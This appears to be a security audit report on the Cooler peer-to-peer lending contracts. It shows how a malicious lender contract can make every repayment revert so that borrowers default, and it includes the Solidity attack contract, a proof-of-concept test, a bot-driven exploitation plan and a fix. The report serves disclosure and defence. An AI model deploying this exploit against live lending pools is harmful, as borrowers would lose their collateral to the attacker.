Early Coral Mantis

high

# Malicious lender could DoS repay functionallity and always default loans.
## Summary
An attacker could implement `onRepay()` callback function to always revert and DoS the option for borrower to repay his loan and collect his collateral, which will always have greater value for the lender.
## Vulnerability Detail
The severity is high, because the execution is easy.
The only thing, which the attacker should do is implement a malicious contract, which implemnts `CoolerCallback` as follows: 
```solidity
contract MockMaliciousLender is CoolerCallback {
    constructor(address coolerFactory_) CoolerCallback(coolerFactory_) {}
    
    /// @notice Callback function that handles repayments. Override for custom logic.
    function _onRepay(uint256 loanID_, uint256 amount_) internal override {
        revert("You just got hacked.");
    }

    /// @notice Callback function that handles rollovers.
    function _onRoll(uint256 loanID_, uint256 newDebt, uint256 newCollateral) internal override {}

    /// @notice Callback function that handles defaults.
    function _onDefault(uint256 loanID_, uint256 debt, uint256 collateral) internal override {}
}
```
Now whenever a user create a Cooler for given pair and request a loan, the hacker clears the loan request from the malicious contract choosing `clearRequest(
        uint256 reqID_ : {attack could do it for all},
        bool repayDirect_ : {doesn't matter},
        bool isCallback_ : true
    )`
And now the attacker just have to wait for the loan to be defaulted which is guaranteed, because it is not possible to be repaid, because rapay function calls the malicious callback:
```solidity
    function repayLoan(uint256 loanID_, uint256 repaid_) external returns (uint256) {
        Loan memory loan = loans[loanID_];
    	... 
        // Log the event.
        factory().newEvent(loanID_, CoolerFactory.Events.RepayLoan, repaid_);

        // @audit If a lender is the atack contract, which will revert on repay, it will make
        // impossible for the borrower to repay his loan, which will lead to the loan being always
        // defaulted, which for sure will profit for the lender, because he will claim the defaulted 
        // collateral, which value is greater, than the lended.
        // If necessary, trigger lender callback.
        if (loan.callback) CoolerCallback(loan.lender).onRepay(loanID_, repaid_);
        return decollateralized;
```
This is a serious attack with possibility to break the system, because there are no conditions, which attacker should depend on to run it.
The attack could be used on each p2p token pair, hacker could use a bot to track for when a user create a new cooler and request a loan, then immediately clear the request using the malicious contract. This will always benefit the attacker, because always the provided collateral is with greater value, than the lended asset. 
## Impact
- This could lead to broken p2p borrowing-lending functionallity, because using the attack the functionallity happens to be `trading with benefit for the lender, who collects his tokens after some time`.
- Lenders steal funds of the borrowers.
## PoC
Here is a test, which shows that the transaction always revert, and at the end the lender could withdraw.
```solidity
    function testRevert_repay_DoS(uint256 amount_, uint256 repayAmount_) public {
        // test inputs
        repayAmount_ = bound(repayAmount_, 1e10, MAX_DEBT);  // min > 0 to have some decollateralization
        amount_ = bound(amount_, repayAmount_, MAX_DEBT);
        bool directRepay = true;
        bool callbackRepay = true;
        // test setup
        cooler = _initCooler();
        (uint256 reqID, ) = _requestLoan(amount_);
        
        // Create a malicious lender that reenters on defaults
        MockMaliciousLender attacker = new MockMaliciousLender(address(coolerFactory));
        deal(address(debt), address(attacker), amount_);

        vm.startPrank(address(attacker));
        // aprove debt so that it can be transferred from the cooler
        debt.approve(address(cooler), amount_);
        uint256 loanID = cooler.clearRequest(reqID, directRepay, callbackRepay);
        vm.stopPrank();

        // block.timestamp < loan expiry
        vm.warp(block.timestamp + DURATION / 2);

        vm.startPrank(owner);
        debt.approve(address(cooler), repayAmount_);
        // The owner (borrower) will now try to repay some part of his loan, but the transaction will always revert, since it 
        // always executes code, which is written from the attacker. In this case 'revert', which will lead to loan being defaulted
        vm.expectRevert("You just got hacked.");
        cooler.repayLoan(loanID, repayAmount_);
        vm.stopPrank();

        vm.warp(block.timestamp + DURATION / 2 + 1);
        cooler.claimDefaulted(loanID);
        // The contract can have function to sent the assets to a EOA of the attacker and so on. Or if the hacker
        // wants to be really bad, he could implement this transfer inside "onDefaulted" function of the CoolerCallback. 

    }
```
## Code Snippet
https://github.com/sherlock-audit/2023-08-cooler/blob/main/Cooler/src/Cooler.sol#L185
## Tool used

Manual Review

## Recommendation
- Think of a way to not execute external code inside important logic.
- One solution is to remove this callback functionallity and use internal utility functions inside the contracts (Cleaninghouse.sol) to do the same job (calculations.)